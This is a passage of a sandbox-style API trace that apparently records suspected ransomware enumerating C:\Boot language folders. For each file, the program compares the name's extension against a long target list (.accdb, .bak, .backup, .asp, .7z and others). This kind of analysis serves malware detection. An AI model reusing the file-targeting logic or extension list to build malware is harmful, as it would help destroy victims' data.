ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0223.662] FindClose (in: hFindFile=0x6cffc8 | out: hFindFile=0x6cffc8) returned 1 [0223.663] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.663] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0223.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.663] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cff88 [0223.664] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.664] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.664] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.665] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0223.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.665] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0223.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.665] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0208 [0223.665] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.665] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.665] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.666] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.666] FindClose (in: hFindFile=0x6d0208 | out: hFindFile=0x6d0208) returned 1 [0223.666] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.666] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0223.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.666] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d02c8 [0223.669] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.669] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.669] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.669] FindClose (in: hFindFile=0x6d02c8 | out: hFindFile=0x6d02c8) returned 1 [0223.669] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.669] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0223.669] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.669] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.670] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.670] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.670] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.670] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.670] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.670] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.670] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="it-IT", cAlternateFileName="")) returned 1 [0223.670] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.670] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.680] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.680] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.680] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.680] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.680] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.680] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0223.680] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.681] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cff08 [0223.909] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.910] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.911] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.911] lstrlenW (lpString=".1cd") returned 4 [0223.911] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.911] lstrlenW (lpString=".3ds") returned 4 [0223.911] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0223.929] lstrlenW (lpString=".3fr") returned 4 [0223.929] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0223.929] lstrlenW (lpString=".3g2") returned 4 [0223.929] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0223.929] lstrlenW (lpString=".3gp") returned 4 [0223.929] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0223.929] lstrlenW (lpString=".7z") returned 3 [0223.929] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.929] lstrlenW (lpString=".accda") returned 6 [0223.929] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0223.929] lstrlenW (lpString=".accdb") returned 6 [0223.929] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0223.929] lstrlenW (lpString=".accdc") returned 6 [0223.929] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0223.929] lstrlenW (lpString=".accde") returned 6 [0223.929] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0223.929] lstrlenW (lpString=".accdt") returned 6 [0223.929] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0223.929] lstrlenW (lpString=".accdw") returned 6 [0223.929] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0223.930] lstrlenW (lpString=".adb") returned 4 [0223.930] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".adp") returned 4 [0223.930] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ai") returned 3 [0223.930] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0223.930] lstrlenW (lpString=".ai3") returned 4 [0223.930] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ai4") returned 4 [0223.930] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ai5") returned 4 [0223.930] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ai6") returned 4 [0223.930] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ai7") returned 4 [0223.930] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ai8") returned 4 [0223.930] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".anim") returned 5 [0223.930] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0223.930] lstrlenW (lpString=".arw") returned 4 [0223.930] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".as") returned 3 [0223.930] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0223.930] lstrlenW (lpString=".asa") returned 4 [0223.930] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".asc") returned 4 [0223.930] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0223.930] lstrlenW (lpString=".ascx") returned 5 [0223.930] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0223.931] lstrlenW (lpString=".asm") returned 4 [0223.931] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".asmx") returned 5 [0223.931] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0223.931] lstrlenW (lpString=".asp") returned 4 [0223.931] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".aspx") returned 5 [0223.931] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0223.931] lstrlenW (lpString=".asr") returned 4 [0223.931] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".asx") returned 4 [0223.931] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".avi") returned 4 [0223.931] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".avs") returned 4 [0223.931] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".backup") returned 7 [0223.931] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0223.931] lstrlenW (lpString=".bak") returned 4 [0223.931] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".bay") returned 4 [0223.931] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".bd") returned 3 [0223.931] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0223.931] lstrlenW (lpString=".bin") returned 4 [0223.931] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".bmp") returned 4 [0223.931] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0223.931] lstrlenW (lpString=".bz2") returned 4 [0223.932] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".c") returned 2 [0223.932] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0223.932] lstrlenW (lpString=".cdr") returned 4 [0223.932] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".cer") returned 4 [0223.932] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".cf") returned 3 [0223.932] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0223.932] lstrlenW (lpString=".cfc") returned 4 [0223.932] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".cfm") returned 4 [0223.932] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".cfml") returned 5 [0223.932] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0223.932] lstrlenW (lpString=".cfu") returned 4 [0223.932] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".chm") returned 4 [0223.932] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".cin") returned 4 [0223.932] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0223.932] lstrlenW (lpString=".class") returned 6 [0223.932] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0223.932] lstrlenW (lpString=".clx") 